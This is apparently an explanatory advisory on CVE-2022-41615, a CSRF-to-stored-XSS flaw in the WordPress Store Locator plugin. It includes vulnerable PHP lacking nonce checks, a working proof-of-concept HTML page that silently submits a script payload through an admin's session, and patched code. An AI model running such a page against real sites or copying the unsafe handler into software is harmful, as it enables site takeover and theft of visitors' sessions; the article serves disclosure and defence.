In 2022, security researchers uncovered CVE-2022-41615, a vulnerability in the *Store Locator* plugin (versions ≤ 1.4.5) for WordPress. This bug allows an attacker to combine a Cross-Site Request Forgery (CSRF) with Cross-Site Scripting (XSS) — the result is a simple but effective way to compromise WordPress websites using the plugin.

Inadequate sanitization and escaping of user-supplied input

By exploiting this, an attacker can *trick* an administrator into clicking a malicious link. Without their knowledge, code will be injected into the Store Locator settings. Later, when anyone visits the site (including visitors or even Google), the browser will run the injected code.

Summary:  
An attacker can cause an administrative user to store malicious JavaScript (XSS) in the plugin settings by getting them to visit a malicious page (CSRF), and the site doesn’t filter out the code.

Preparation: The attacker creates a malicious website with hidden forms.

2. Delivery: They trick a WordPress admin into visiting their site (via email, comment, or social media).
3. Trigger: The hidden form auto-submits, sending dangerous data to the vulnerable endpoint on WordPress, using the admin’s browser session (because they’re logged in).
4. Payload Execution: The Store Locator page gets “tainted” with a harmful script. Next time anyone views that content, the script runs — leading to things like stealing cookies, session hijacking, or defacing the website.

The Vulnerable Code (What Went Wrong)

In WordPress, safe admin forms should use ‘nonces’ (number used once) to prevent CSRF.  
But Store Locator plugin ≤ 1.4.5 skipped them in some places.

A simplified example from the plugin

// vulnerable code (simplified)
if(isset($_POST['submit'])) {
    // no nonce check!
    $option = $_POST['store_locator_option'];
    update_option('store_locator_option', $option); // unsafe: not sanitized or escaped
}

What’s missing?

Proof-of-Concept Exploit

Here’s a malicious HTML file an attacker could host. When a logged-in WordPress admin visits it, this form submits a harmful XSS payload to the site’s Store Locator settings without their consent:

<!-- Save this as evil-csrf.html and send to admin -->
<html>
  <body>
    <form action="https://victim.com/wp-admin/admin.php?page=store-locator-settings"; method="POST" id="storelocatorCSRF">
      <input type="hidden" name="store_locator_option" value="<script>alert('XSS')</script>">
      <input type="hidden" name="submit" value="1">
    </form>
    <script>
      document.getElementById('storelocatorCSRF').submit();
    </script>
  </body>
</html>

Note:
Replace https://victim.com/ with the WordPress site’s URL.

When the administrator visits this page, their browser sends the POST request with their WordPress credentials — the plugin processes it and saves the script payload. Afterwards, anyone viewing the relevant Store Locator content will see a popup (or any code the attacker injected).

How to Fix (Mitigation and Patch)

Upgrade to Store Locator 1.4.6 or later.  
Plugin authors added nonce and input handling in updates.

Add nonce protection

// Safe version in your plugin
if ( isset($_POST['submit']) && check_admin_referer('store_locator_save', 'store_locator_nonce') ) {
    $option = sanitize_text_field($_POST['store_locator_option']);
    update_option('store_locator_option', $option);
}

And always output values with esc_html() or similar to prevent XSS.

- NVD: CVE-2022-41615
- WPScan Advisory
- Original plugin at WordPress.org
- CSRF in WordPress (OWASP)
- Cross-Site Scripting (OWASP)

Conclusion

CVE-2022-41615 is both a CSRF and XSS issue thanks to weak validation in a popular WordPress plugin. The fix is to keep all plugins updated. Always use nonces in admin forms — it’s surprising how many “small” plugins forget this basic step.

If you run a WordPress site, double-check your plugins and inform your users. Attackers’ favorite entry point is out-of-date, forgotten add-ons.

Spread the word — keep your websites safe!

*This article is original and crafted in simple language for website owners, developers, and security enthusiasts. Stay patched!*

Timeline

Published on: 11/18/2022 23:15:00 UTC
Last modified on: 11/23/2022 19:44:00 UTC